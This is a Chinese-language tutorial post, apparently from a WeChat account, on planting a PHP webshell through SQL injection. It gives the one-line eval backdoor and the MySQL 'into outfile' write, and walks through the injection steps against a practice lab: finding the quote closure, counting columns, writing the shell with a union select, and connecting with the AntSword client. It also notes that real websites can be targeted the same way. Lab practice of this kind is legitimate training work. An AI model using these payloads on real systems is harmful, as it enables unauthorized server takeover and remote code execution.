鲁迅先生曾经说过:做安全,先免责!
用户在使用本文信息时,应自行承担风险。本文不对用户因使用本文信息而导致的任何直接或间接损失承担责任。
本文主要内容:文件上传webshell
文件上传
利用mysql
对服务器的写权限,进行文件上传,获取webshell
前提要求
查看读写权限
查看mysql
是否有读写文件的权限
- 方法一:
show variables like '%secure%';
- 方法二:
select @@secure_file_priv;
secure_file_priv
用于限制 MySQL 服务器可以读取和写入文件的路径。其值有三种
- 空字符串(
""
):表示没有限制,MySQL 服务器可以从任何路径读取和写入文件。 - 具体路径:例如
/var/lib/mysql-files/
或C:\path\to\mysql-files\
,表示 MySQL 服务器只能从指定的路径读取和写入文件。 NULL
:表示禁止所有文件的读取和写入操作。
文件上传要点
使用into outfile
命令前提:必须知道一个服务器上可以进行文件写入的完整路径(即:可以找到一个文件夹,能够存储攻击者上传的带有木马的文件)
文件上传指令
一句话木马
<?php @eval($_POST['password']); ?>
,其中password
可以改为任意值
文件写入
select "<?php @eval($_POST['password']); ?>" into outfile "D:\\codeTools\\phpstudy_pro\\phpstudy_pro\\WWW\\a.php";
将一句话木马写入到a.php
中
"<?php @eval($_POST['password']); ?>"
为一句话木马password
为攻击者设置的密码,可任意D:\\codeTools\\phpstudy_pro\\phpstudy_pro\\WWW
为文保存路径a.php
为写入文件的文件名
靶场实战
使用靶场第七节
1. 判断闭合方式
参数:?id=1' --+
,网页显示报错,不是单引号闭合
参数:?id=1" --+
,使用双引号闭合,没有报错,可能采用的是双引号闭合
参数:?id=1" and 1=2 --+
,1=2
条件为假,但是页面显示内容,排除双引号闭合的可能性
参数:?id=1')) and 1=2 --+
,条件为假,页面报错,可以是采用'))
闭合
参数:?id=1')) and 1=1 --+
,条件为真且页面正常显示,闭合方式为:'))
2. 判断列数
参数:?id=1')) group by 4 --+
,页面报错,列数不等于4
参数:?id=1')) group by 3 --+
,页面正常显示,列数为3
3. 写入一句话木马
union select 1, "<?php @eval($_POST['password']); ?>", 3
into outfile "D:\\codeTools\\phpstudy_pro\\phpstudy_pro\\WWW\\a.php"; --+
into outfile
指定木马文件写入的完整路径
4. 连接木马文件
打开蚁剑,右击空白处,选择添加数据
输入网址(或服务器IP地址)信息与木马文件中的密码(即password
),配置完成后单击左上角的
192.168.101.35
为测试电脑的IP地址,也可以使用127.0.0.1
代替- 如果是攻击真实的网站,可以是真实网站的域名,也可是真实网站的IP
双击添加的信息,即可访问服务器目录下的内容
无情的广告时间
哈哈哈哈,又到了大家喜欢的广告时间了,公众号:编码魔坊
,喜欢的话给个关注呗,点击下方小卡片,扫码即可关注,谢谢您的关注!!!